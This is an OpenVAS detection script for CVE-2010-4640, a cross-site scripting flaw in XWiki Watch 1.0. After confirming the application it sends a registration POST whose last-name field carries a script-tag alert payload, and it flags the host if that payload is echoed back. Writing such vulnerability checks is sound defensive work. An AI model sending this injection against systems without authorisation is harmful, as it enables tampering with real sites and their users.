XWiki Watch Multiple Cross Site Scripting Vulnerabilities

##############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_xwiki_watch_mult_xss_vuln.nasl 7276 2017-09-26 11:59:52Z cfischer $
#
# XWiki Watch Multiple Cross Site Scripting Vulnerabilities
#
# Authors:
# Antu Sanadi <[email protected]>
#
# Copyright:
# Copyright (c) 2011 Greenbone Networks GmbH, http://www.greenbone.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_impact = "Successful exploitation will allow remote attackers to insert
arbitrary HTML and script code, which will be executed in a user's browser
session in the context of an affected site when malicious data is being viewed.

Impact Level: Application.";

tag_affected = "XWiki Watch version 1.0";

tag_insight = 
"Multiple flaws are due to:
 - An  Input passed via the 'rev' parameter to 'xwiki/bin/viewrev/Main/WebHome'
   or 'xwiki/bin/view/Blog' is not properly sanitised before being returned to
   the user.
 - An Input passed via the 'register_first_name' and 'register_last_name'
   parameters to 'xwiki/bin/register/XWiki/Register' is not properly sanitised
   before being displayed to the user.";

tag_solution = "No solution or patch was made available for at least one year
since disclosure of this vulnerability. Likely none will be provided anymore.
General solution options are to upgrade to a newer release, disable respective
features, remove the product or replace the product by another one.";

tag_summary = "This host is running XWiki Watch and is prone to multiple cross
site scripting vulnerabilities.";

if(description)
{
  script_id(801564);
  script_version("$Revision: 7276 $");
  script_tag(name:"last_modification", value:"$Date: 2017-09-26 13:59:52 +0200 (Tue, 26 Sep 2017) $");
  script_tag(name:"creation_date", value:"2011-01-08 10:30:18 +0100 (Sat, 08 Jan 2011)");
  script_cve_id("CVE-2010-4640");
  script_bugtraq_id(44606);
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_name("XWiki Watch Multiple Cross Site Scripting Vulnerabilities");
  script_xref(name : "URL" , value : "http://secunia.com/advisories/42090");
  script_xref(name : "URL" , value : "http://xforce.iss.net/xforce/xfdb/62941");
  script_xref(name : "URL" , value : "http://xforce.iss.net/xforce/xfdb/62940");

  script_tag(name:"qod_type", value:"remote_vul");
  script_category(ACT_GATHER_INFO);
  script_copyright("Copyright (c) 2011 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_require_ports("Services/www", 8080);
  script_dependencies("find_service.nasl", "http_version.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name : "insight" , value : tag_insight);
  script_tag(name : "solution" , value : tag_solution);
  script_tag(name : "summary" , value : tag_summary);
  script_tag(name : "impact" , value : tag_impact);
  script_tag(name : "affected" , value : tag_affected);
  script_tag(name:"solution_type", value:"WillNotFix");
  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");

xwport = get_http_port(default:8080);

sndReq = http_get(item:"/xwiki/bin/view/Main/WebHome", port:xwport);
rcvRes = http_send_recv(port:xwport, data:sndReq);

## Confirm the application
if("XWiki - Main - WebHome" >!< rcvRes &&
   "Welcome to your XWiki Watch" >!< rcvRes){
 exit(0);
}

## Try an exploit
filename = "/xwiki/bin/register/XWiki/Register";
host = http_host_name( port:xwport );

authVariables ="template=XWiki.XWikiUserTemplate&register=1&register_first_name" +
               "=dingdong&register_last_name=%3Cscript%3Ealert%281111%29%3C%2Fscr" +
               "ipt%3E&xwikiname="+rand()+"&register_password=dingdong&register2_passwor" +
               "d=dingdong&register_email=dingdong";

## Construct post request
sndReq = string("POST ", filename, " HTTP/1.1\r\n",
                 "Host: ", host, "\r\n",
                 "User-Agent: ", OPENVAS_HTTP_USER_AGENT, "\r\n",
                 "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n",
                 "Accept-Language: en-us,en;q=0.5\r\n",
                 "Keep-Alive: 300\r\n",
                 "Connection: keep-alive\r\n",
                 "Referer: http://", host, filename, "\r\n",
                 "Content-Type: application/x-www-form-urlencoded\r\n",
                 "Content-Length: ", strlen(authVariables), "\r\n\r\n",
                  authVariables);
rcvRes = http_keepalive_send_recv(port:xwport, data:sndReq);

## Check the Response
if(rcvRes =~ "HTTP/1\.. 200" && "<script>alert(1111)</script></" >< rcvRes && "Registration successful.">< rcvRes){
    security_message(xwport);
}